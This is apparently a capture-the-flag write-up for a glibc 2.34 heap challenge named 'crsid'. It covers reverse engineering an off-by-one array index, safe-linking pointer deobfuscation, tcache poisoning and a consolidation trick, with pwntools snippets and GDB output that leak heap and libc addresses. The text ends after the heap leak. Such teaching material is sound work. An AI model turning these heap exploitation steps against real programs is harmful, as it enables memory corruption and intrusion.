CRSid
24 minutes to read
We have a 64-bit binary called crsid
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
If we execute it, we need to enter a CRSid
and then we have this menu:
$ ./crsid
ββββββββββββββ ββββββββββββββββββ
βββββββββββββββββββββββββββββββββββ
βββ ββββββββββββββββββββββ βββ
βββ ββββββββββββββββββββββ βββ
βββββββββββ ββββββββββββββββββββββ
ββββββββββ βββββββββββββββββββββ
[i] Enter your CRSid: asdf
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#]
Reverse engineering
It is a typical heap challenge. The reverse engineering process is quite simple, despite the fact that the binary is stripped. This is the main
function:
int main() {
int err;
int ret;
long in_FS_OFFSET;
int option;
int changed_username;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
printf("[i] Enter your CRSid: ");
read(0, crsid, 32);
option = 0;
changed_username = 0;
do {
menu();
err = __isoc99_scanf("%d", &option);
if (err < 0) {
puts("Something went wrong!");
ret = 1;
goto LAB_001019a6;
}
switch (option) {
default:
puts("Unrecognized command!");
ret = 1;
goto LAB_001019a6;
case 1:
err = create_username();
if (err != 0) {
ret = 1;
goto LAB_001019a6;
}
break;
case 2:
err = delete_username();
if (err != 0) {
ret = 1;
goto LAB_001019a6;
}
break;
case 3:
err = edit_username();
if (err != 0) {
ret = 1;
goto LAB_001019a6;
}
break;
case 4:
err = show_username();
if (err != 0) {
ret = 1;
LAB_001019a6:
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
break;
case 5:
if (changed_username == 0) {
puts("Changed your mind?");
printf("Enter new CRSid: ");
read(0, crsid, 32);
puts("Changed successfully!");
changed_username = 1;
} else {
puts("No, you change your mind too often.");
}
break;
case 6:
ret = 0;
goto LAB_001019a6;
}
} while (true);
}
Allocation function
The first option is for creating users, so it will be called create_username
:
int create_username() {
int num_users;
int ret;
char *p_user;
num_users = check_users();
if (num_users < 0) {
puts("No more usernames for you!");
ret = 0;
} else {
p_user = (char *) malloc(0x40);
if (p_user == (char *) 0x0) {
puts("Something weird happened.");
ret = 1;
} else {
users[num_users] = p_user;
*p_user = '\0';
puts("A new username appeared!");
ret = 0;
}
}
return ret;
}
This function only allows us to allocate chunks of user size 0x40
(which will be size 0x50
on the heap metadata). The number of allocations is limited to 12, and it is checked by a function renamed to check_users
:
int check_users() {
int num_users;
num_users = 0;
while (true) {
if (12 < num_users) {
return -1;
}
if (users[num_users] == (char *) 0x0) break;
num_users = num_users + 1;
}
return num_users;
}
There is a global variable named as users
that holds an array for the 12 available pointers for users.
Free function
This is the function to delete users (delete_username
):
int delete_username() {
int err;
int ret;
long in_FS_OFFSET;
int index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Username index: ");
err = __isoc99_scanf("%d", &index);
if (err < 1) {
puts("That won\'t work.");
ret = 1;
} else if ((index < 0) || (12 < index)) {
puts("Where are you going?");
ret = 1;
} else if (users[index] == (char *) 0x0) {
puts("No such username.");
ret = 1;
} else {
free(users[index]);
users[index] = (char *) 0x0;
puts("Username removed successfully!");
ret = 0;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
Here we have a vulnerability because the variable called index
can have 12
as value, and indices for users
go from 0
to 11
. Hence, we can access the array out-of-bounds (OOB). Moreover, after the global variable users
, we have crsid
, which is under our control (we can change it once using option 5
, which appears in the main
function). We will see this later in GDB.
Edit function
This is edit_username
(option 3
):
int edit_username() {
int err;
int ret;
size_t newline_index;
long in_FS_OFFSET;
int index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Username index: ");
err = __isoc99_scanf("%d", &index);
if (err < 1) {
puts("That won\'t work.");
ret = 1;
} else if ((index < 0) || (12 < index)) {
puts("Where are you going?");
ret = 1;
} else if (users[index] == (char *) 0x0) {
puts("No such username.");
ret = 1;
} else {
printf("Username: ");
read(0, users[index], 0x40);
newline_index = strcspn(users[index], "\n");
users[index][newline_index] = '\0';
puts("Username changed successfully!");
ret = 0;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
This function is correct, except for the OOB array access. We can write at most 0x40
bytes in the chunk, so we can’t overflow to the adjacent chunk.
Show function
Finally, this is show_username
(option 4
):
int show_username() {
int err;
int ret;
long in_FS_OFFSET;
int index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Username index: ");
err = __isoc99_scanf("%d", &index);
if (err < 1) {
puts("That won\'t work.");
ret = 1;
} else if ((index < 0) || (12 < index)) {
puts("Where are you going?");
ret = 1;
} else if (users[index] == (char *) 0x0) {
puts("No such username.");
ret = 1;
} else {
printf("Username: ");
puts(users[index]);
ret = 0;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
Exploit strategy
In order to plan the exploit strategy, we must take into account that the binary uses Glibc 2.34 (it is provided in the challenge):
$ glibc/ld-2.34.so glibc/libc.so.6
GNU C Library (GNU libc) stable release version 2.34.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.1.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://www.gnu.org/software/libc/bugs.html>.
Safe-linking
This is a pretty hardened version of Glibc. If we check how2heap, we will notice that it uses safe-linking to obfuscate forward pointers (fd
) on freed chunks. We can check this in GDB:
$ gdb -q crsid
Reading symbols from crsid...
(No debugging symbols found in crsid)
pwndbg> run
Starting program: ./crsid
ββββββββββββββ ββββββββββββββββββ
βββββββββββββββββββββββββββββββββββ
βββ ββββββββββββββββββββββ βββ
βββ ββββββββββββββββββββββ βββ
βββββββββββ ββββββββββββββββββββββ
ββββββββββ βββββββββββββββββββββ
[i] Enter your CRSid: asdf
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] 1
A new username appeared!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] 1
A new username appeared!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] 2
Username index: 1
Username removed successfully!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] 2
Username index: 0
Username removed successfully!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ec15ce in __GI___libc_read (fd=0, buf=0x7ffff7fb4b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> vis_heap_chunks
0x555555559000 0x0000000000000000 0x0000000000000291 ................
0x555555559010 0x0002000000000000 0x0000000000000000 ................
0x555555559020 0x0000000000000000 0x0000000000000000 ................
0x555555559030 0x0000000000000000 0x0000000000000000 ................
0x555555559040 0x0000000000000000 0x0000000000000000 ................
0x555555559050 0x0000000000000000 0x0000000000000000 ................
0x555555559060 0x0000000000000000 0x0000000000000000 ................
0x555555559070 0x0000000000000000 0x0000000000000000 ................
0x555555559080 0x0000000000000000 0x0000000000000000 ................
0x555555559090 0x0000000000000000 0x0000000000000000 ................
0x5555555590a0 0x0000000000000000 0x00005555555592a0 ..........UUUU..
0x5555555590b0 0x0000000000000000 0x0000000000000000 ................
0x5555555590c0 0x0000000000000000 0x0000000000000000 ................
0x5555555590d0 0x0000000000000000 0x0000000000000000 ................
0x5555555590e0 0x0000000000000000 0x0000000000000000 ................
0x5555555590f0 0x0000000000000000 0x0000000000000000 ................
0x555555559100 0x0000000000000000 0x0000000000000000 ................
0x555555559110 0x0000000000000000 0x0000000000000000 ................
0x555555559120 0x0000000000000000 0x0000000000000000 ................
0x555555559130 0x0000000000000000 0x0000000000000000 ................
0x555555559140 0x0000000000000000 0x0000000000000000 ................
0x555555559150 0x0000000000000000 0x0000000000000000 ................
0x555555559160 0x0000000000000000 0x0000000000000000 ................
0x555555559170 0x0000000000000000 0x0000000000000000 ................
0x555555559180 0x0000000000000000 0x0000000000000000 ................
0x555555559190 0x0000000000000000 0x0000000000000000 ................
0x5555555591a0 0x0000000000000000 0x0000000000000000 ................
0x5555555591b0 0x0000000000000000 0x0000000000000000 ................
0x5555555591c0 0x0000000000000000 0x0000000000000000 ................
0x5555555591d0 0x0000000000000000 0x0000000000000000 ................
0x5555555591e0 0x0000000000000000 0x0000000000000000 ................
0x5555555591f0 0x0000000000000000 0x0000000000000000 ................
0x555555559200 0x0000000000000000 0x0000000000000000 ................
0x555555559210 0x0000000000000000 0x0000000000000000 ................
0x555555559220 0x0000000000000000 0x0000000000000000 ................
0x555555559230 0x0000000000000000 0x0000000000000000 ................
0x555555559240 0x0000000000000000 0x0000000000000000 ................
0x555555559250 0x0000000000000000 0x0000000000000000 ................
0x555555559260 0x0000000000000000 0x0000000000000000 ................
0x555555559270 0x0000000000000000 0x0000000000000000 ................
0x555555559280 0x0000000000000000 0x0000000000000000 ................
0x555555559290 0x0000000000000000 0x0000000000000051 ........Q.......
0x5555555592a0 0x000055500000c7a9 0x0f26857560c7a3e2 ....PU.....`u.&. <-- tcachebins[0x50][0/2]
0x5555555592b0 0x0000000000000000 0x0000000000000000 ................
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000000 ................
0x5555555592e0 0x0000000000000000 0x0000000000000051 ........Q.......
0x5555555592f0 0x0000000555555559 0x0f26857560c7a3e2 YUUU.......`u.&. <-- tcachebins[0x50][1/2]
0x555555559300 0x0000000000000000 0x0000000000000000 ................
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000020cd1 ................ <-- Top chunk
pwndbg> bins
tcachebins
0x50 [ 2]: 0x5555555592a0 ββΈ 0x5555555592f0 ββ 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
The way safe-linking works is by encrypting the original fd
pointer using XOR and the heap address shifted 12 bits to the right as key:
fd = 0x00005555555592f0
key = 0x0000000555555559
------------------------
res = 0x000055500000c7a9
However, this mitigation is useless because of how ASLR works. The key of encryption are the bits that do not change from heap addresses. The base address of the heap ends in 000
in hexadecimal (12 bits).
So, suppose we can leak the obfuscated fd
pointer: 0x000055500000c7a9
. We know that 555
are part of the real fd
:
leak = 0x000055500000c7a9
key = 0x0000000*********
-------------------------
fd = 0x0000555*********
Then we can continue with the next three hexadecimal digits: 0x555 ^ 0x000 = 0x555
.
leak = 0x000055500000c7a9
key = 0x0000000555******
-------------------------
fd = 0x0000555555******
And then with the next ones: 00c ^ 0x555 = 0x559
.
leak = 0x000055500000c7a9
key = 0x0000000555555***
-------------------------
fd = 0x0000555555559***
And finally: 0x7a9 ^ 0x559 = 0x2f0
.
leak = 0x000055500000c7a9
key = 0x0000000555555559
-------------------------
fd = 0x00005555555592f0
Therefore, we can obtain the original fd
from the obfuscated one.
These are two functions to obfuscate and deobfuscate pointers (taken from [CSR20] HowToHeap - Libc 2.32):
def deobfuscate(x: int, l: int = 64) -> int:
p = 0
for i in range(l * 4, 0, -4):
v1 = (x & (0xf << i)) >> i
v2 = (p & (0xf << i + 12 )) >> i + 12
p |= (v1 ^ v2) << i
return p
def obfuscate(ptr: int, addr: int) -> int:
return ptr ^ (addr >> 12)
Tcache poisoning
Since Glibc 2.34 uses Tcache, the idea is to perform a Tcache poisoning attack. For this, we will need to modify the fd
pointer of a freed chunk (Write After Free), so that we corrupt the Tcache linked list and allocate a chunk in a controlled address.
Eventually, we will need to leak an address inside Glibc. The way to do this is a bit tricky. The idea is to force scanf
to allocate a big chunk and force heap consolidation (malloc_consolidate
, more information here). If we fill the Tcache for size 0x50
(7 chunks), the next freed chunk will go to the Fast Bin. Once scanf
handles a large string (at least 1024 characters), the Fast Bin chunk is sent to the Small Bin (leaving fd
and bk
pointers from main_arena
) due to consolidation.
We can test it like this:
def main():
p = get_process()
gdb.attach(p, gdbscript='continue')
p.sendlineafter(b'[i] Enter your CRSid: ', b'asdf')
for _ in range(8):
create(p)
for i in range(7, -1, -1):
delete(p, i)
input('Before large string...')
p.sendline(b'0' * 1023 + b'1')
input('After large string...')
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 953757
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '953757', '-x', '/tmp/pwng458iat1.gdb']
[+] Waiting for debugger: Done
Before large string...
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 953757
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007f3a112925ce in __GI___libc_read (fd=0, buf=0x557a3afba0c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007f3a112925ce in __GI___libc_read (fd=0, buf=0x7fb2c71d2b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> bins
tcachebins
0x50 [ 7]: 0x5594e7ebc2f0 ββΈ 0x5594e7ebc340 ββΈ 0x5594e7ebc390 ββΈ 0x5594e7ebc3e0 ββΈ 0x5594e7ebc430 ββΈ 0x5594e7ebc480 ββΈ 0x5594e7ebc4d0 ββ 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x5594e7ebc290 ββ 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> continue
Continuing.
As we can see, we have the Fast Bin chunk at 0x5594e7ebc290
. If we hit ENTER
to send the large string, we will see the chunk in the Small Bin:
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 953757
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '953757', '-x', '/tmp/pwng458iat1.gdb']
[+] Waiting for debugger: Done
Before large string...
After large string...
^C
Program received signal SIGINT, Interrupt.
0x00007f3a112925ce in __GI___libc_read (fd=0, buf=0x7fb2c71d2b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> bins
tcachebins
0x50 [ 6]: 0x5594e7ebc340 ββΈ 0x5594e7ebc390 ββΈ 0x5594e7ebc3e0 ββΈ 0x5594e7ebc430 ββΈ 0x5594e7ebc480 ββΈ 0x5594e7ebc4d0 ββ 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x5594e7ebc290 ββΈ 0x7fb2c71d2d00 (main_arena+160) ββ 0x5594e7ebc290
largebins
empty
There it is, at the same address 0x5594e7ebc290
.
Global variables
We can see the global variables on the following address space:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5594e6cb0000 0x5594e6cb1000 r--p 1000 0 ./crsid
0x5594e6cb1000 0x5594e6cb2000 r-xp 1000 1000 ./crsid
0x5594e6cb2000 0x5594e6cb3000 r--p 1000 2000 ./crsid
0x5594e6cb3000 0x5594e6cb4000 r--p 1000 2000 ./crsid
0x5594e6cb4000 0x5594e6cb5000 rw-p 1000 3000 ./crsid
0x5594e7ebc000 0x5594e7edd000 rw-p 21000 0 [heap]
0x7fb2c6fe3000 0x7fb2c6fe6000 rw-p 3000 0 [anon_7fb2c6fe3]
0x7fb2c6fe6000 0x7fb2c7012000 r--p 2c000 0 ./glibc/libc.so.6
0x7fb2c7012000 0x7fb2c7179000 r-xp 167000 2c000 ./glibc/libc.so.6
0x7fb2c7179000 0x7fb2c71ce000 r--p 55000 193000 ./glibc/libc.so.6
0x7fb2c71ce000 0x7fb2c71cf000 ---p 1000 1e8000 ./glibc/libc.so.6
0x7fb2c71cf000 0x7fb2c71d2000 r--p 3000 1e8000 ./glibc/libc.so.6
0x7fb2c71d2000 0x7fb2c71d5000 rw-p 3000 1eb000 ./glibc/libc.so.6
0x7fb2c71d5000 0x7fb2c71e4000 rw-p f000 0 [anon_7fb2c71d5]
0x7fb2c71e4000 0x7fb2c71e5000 r--p 1000 0 ./glibc/ld-2.34.so
0x7fb2c71e5000 0x7fb2c7209000 r-xp 24000 1000 ./glibc/ld-2.34.so
0x7fb2c7209000 0x7fb2c7213000 r--p a000 25000 ./glibc/ld-2.34.so
0x7fb2c7213000 0x7fb2c7215000 r--p 2000 2e000 ./glibc/ld-2.34.so
0x7fb2c7215000 0x7fb2c7217000 rw-p 2000 30000 ./glibc/ld-2.34.so
0x7ffdf29cb000 0x7ffdf29ec000 rw-p 21000 0 [stack]
0x7ffdf29f3000 0x7ffdf29f7000 r--p 4000 0 [vvar]
0x7ffdf29f7000 0x7ffdf29f9000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> x/30gx 0x5594e6cb4000
0x5594e6cb4000: 0x0000000000000000 0x00005594e6cb4008
0x5594e6cb4010: 0x0000000000000000 0x0000000000000000
0x5594e6cb4020 <stdout>: 0x00007fb2c71d3760 0x0000000000000000
0x5594e6cb4030 <stdin>: 0x00007fb2c71d2a80 0x0000000000000000
0x5594e6cb4040 <stderr>: 0x00007fb2c71d3680 0x0000000000000000
0x5594e6cb4050: 0x0000000000000000 0x0000000000000000
0x5594e6cb4060: 0x00005594e7ebc2f0 0x0000000000000000
0x5594e6cb4070: 0x0000000000000000 0x0000000000000000
0x5594e6cb4080: 0x0000000000000000 0x0000000000000000
0x5594e6cb4090: 0x0000000000000000 0x0000000000000000
0x5594e6cb40a0: 0x0000000000000000 0x0000000000000000
0x5594e6cb40b0: 0x0000000000000000 0x0000000000000000
0x5594e6cb40c0: 0x0000000a66647361 0x0000000000000000
0x5594e6cb40d0: 0x0000000000000000 0x0000000000000000
0x5594e6cb40e0: 0x0000000000000000 0x0000000000000000
So, the users
array starts at 0x5594e6cb4060
. There are 12 slots, and the next one corresponds to the crsid
global variable (notice we entered asdf\n
, 0x0a66647361
in hexadecimal little-endian format).
Exploit development
At this point, we can get a leak of an obfuscated fd
pointer and the fd
pointer of the Small Bin chunk so that we can compute the base address of the heap and Glibc, respectively. This is the state of the heap:
pwndbg> vis_heap_chunks
0x5594e7ebc000 0x0000000000000000 0x0000000000000291 ................
0x5594e7ebc010 0x0006000000000000 0x0000000000000000 ................
0x5594e7ebc020 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc030 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc040 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc050 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc060 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc070 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc080 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc090 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0a0 0x0000000000000000 0x00005594e7ebc340 ........@....U..
0x5594e7ebc0b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0c0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0d0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0e0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0f0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc100 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc110 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc120 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc130 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc140 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc150 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc160 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc170 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc180 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc190 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1a0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1c0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1d0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1e0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1f0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc200 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc210 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc220 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc230 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc240 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc250 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc260 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc270 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc280 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc290 0x0000000000000000 0x0000000000000051 ........Q....... <-- smallbins[0x50][0]
0x5594e7ebc2a0 0x00007fb2c71d2d00 0x00007fb2c71d2d00 .-.......-......
0x5594e7ebc2b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc2c0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc2d0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc2e0 0x0000000000000050 0x0000000000000050 P.......P.......
0x5594e7ebc2f0 0x00005591bea5bd00 0x0000000000000000 .....U..........
0x5594e7ebc300 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc310 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc320 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc330 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc340 0x00005591bea5bd2c 0x6685522b4639b16f ,....U..o.9F+R.f <-- tcachebins[0x50][0/6]
0x5594e7ebc350 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc360 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc370 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc380 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc390 0x00005591bea5bd5c 0x6685522b4639b16f \....U..o.9F+R.f <-- tcachebins[0x50][1/6]
0x5594e7ebc3a0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc3b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc3c0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc3d0 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc3e0 0x00005591bea5ba8c 0x6685522b4639b16f .....U..o.9F+R.f <-- tcachebins[0x50][2/6]
0x5594e7ebc3f0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc400 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc410 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc420 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc430 0x00005591bea5ba3c 0x6685522b4639b16f <....U..o.9F+R.f <-- tcachebins[0x50][3/6]
0x5594e7ebc440 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc450 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc460 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc470 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc480 0x00005591bea5ba6c 0x6685522b4639b16f l....U..o.9F+R.f <-- tcachebins[0x50][4/6]
0x5594e7ebc490 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc4a0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc4b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc4c0 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc4d0 0x00000005594e7ebc 0x6685522b4639b16f .~NY....o.9F+R.f <-- tcachebins[0x50][5/6]
0x5594e7ebc4e0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc4f0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc500 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc510 0x0000000000000000 0x0000000000020af1 ................ <-- Top chunk
Leaking memory addresses
First, let’s get the base address of the heap:
edit(p, 0, b'A')
fd = u64(show(p, 0)[1:].ljust(8, b'\0'))
heap_base_addr = deobfuscate(fd) << 8
log.success(f'Heap base address: {hex(heap_base_addr)}')
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 968613
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '968613', '-x', '/tmp/pwn0ajdf_fe.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x55a9f0608000
[*] Switching to interactive mode
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 968613
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007fe28ae745ce in __GI___libc_read (fd=0, buf=0x55a9ef27d0c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007fe28ae745ce in __GI___libc_read (fd=0, buf=0x7fe28af67b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55a9ef279000 0x55a9ef27a000 r--p 1000 0 ./crsid
0x55a9ef27a000 0x55a9ef27b000 r-xp 1000 1000 ./crsid
0x55a9ef27b000 0x55a9ef27c000 r--p 1000 2000 ./crsid
0x55a9ef27c000 0x55a9ef27d000 r--p 1000 2000 ./crsid
0x55a9ef27d000 0x55a9ef27e000 rw-p 1000 3000 ./crsid
0x55a9f0608000 0x55a9f0629000 rw-p 21000 0 [heap]
0x7fe28ad78000 0x7fe28ad7b000 rw-p 3000 0 [anon_7fe28ad78]
0x7fe28ad7b000 0x7fe28ada7000 r--p 2c000 0 ./glibc/libc.so.6
0x7fe28ada7000 0x7fe28af0e000 r-xp 167000 2c000 ./glibc/libc.so.6
0x7fe28af0e000 0x7fe28af63000 r--p 55000 193000 ./glibc/libc.so.6
0x7fe28af63000 0x7fe28af64000 ---p 1000 1e8000 ./glibc/libc.so.6
0x7fe28af64000 0x7fe28af67000 r--p 3000 1e8000 ./glibc/libc.so.6
0x7fe28af67000 0x7fe28af6a000 rw-p 3000 1eb000 ./glibc/libc.so.6
0x7fe28af6a000 0x7fe28af79000 rw-p f000 0 [anon_7fe28af6a]
0x7fe28af79000 0x7fe28af7a000 r--p 1000 0 ./glibc/ld-2.34.so
0x7fe28af7a000 0x7fe28af9e000 r-xp 24000 1000 ./glibc/ld-2.34.so
0x7fe28af9e000 0x7fe28afa8000 r--p a000 25000 ./glibc/ld-2.34.so
0x7fe28afa8000 0x7fe28afaa000 r--p 2000 2e000 ./glibc/ld-2.34.so
0x7fe28afaa000 0x7fe28afac000 rw-p 2000 30000 ./glibc/ld-2.34.so
0x7ffe144aa000 0x7ffe144cb000 rw-p 21000 0 [stack]
0x7ffe14521000 0x7ffe14525000 r--p 4000 0 [vvar]
0x7ffe14525000 0x7ffe14527000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
Everything looks correct. Notice that index 0
is the only chunk we have allocated (heap base address plus 0x2f0
), and we need to overwrite a null byte with another character (for example an A
) in order to show it (strings in C terminate with a null byte).
Once we have this heap base address, we can modify the crsid
and point to the freed Small Bin chunk (heap base address plus 0x2a0
), so that we can leak Glibc in a similar way:
change(p, p64(heap_base_addr + 0x2a0))
edit(p, 12, b'A')
main_arena_addr = u64(show(p, 12).replace(b'A', b'\0').ljust(8, b'\0')) - 160
glibc.address = main_arena_addr - glibc.sym.main_arena
log.success(f'Glibc base address: {hex(glibc.address)}')
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 977485
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '977485', '-x', '/tmp/pwnwu1c1ein.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x5569130e9000
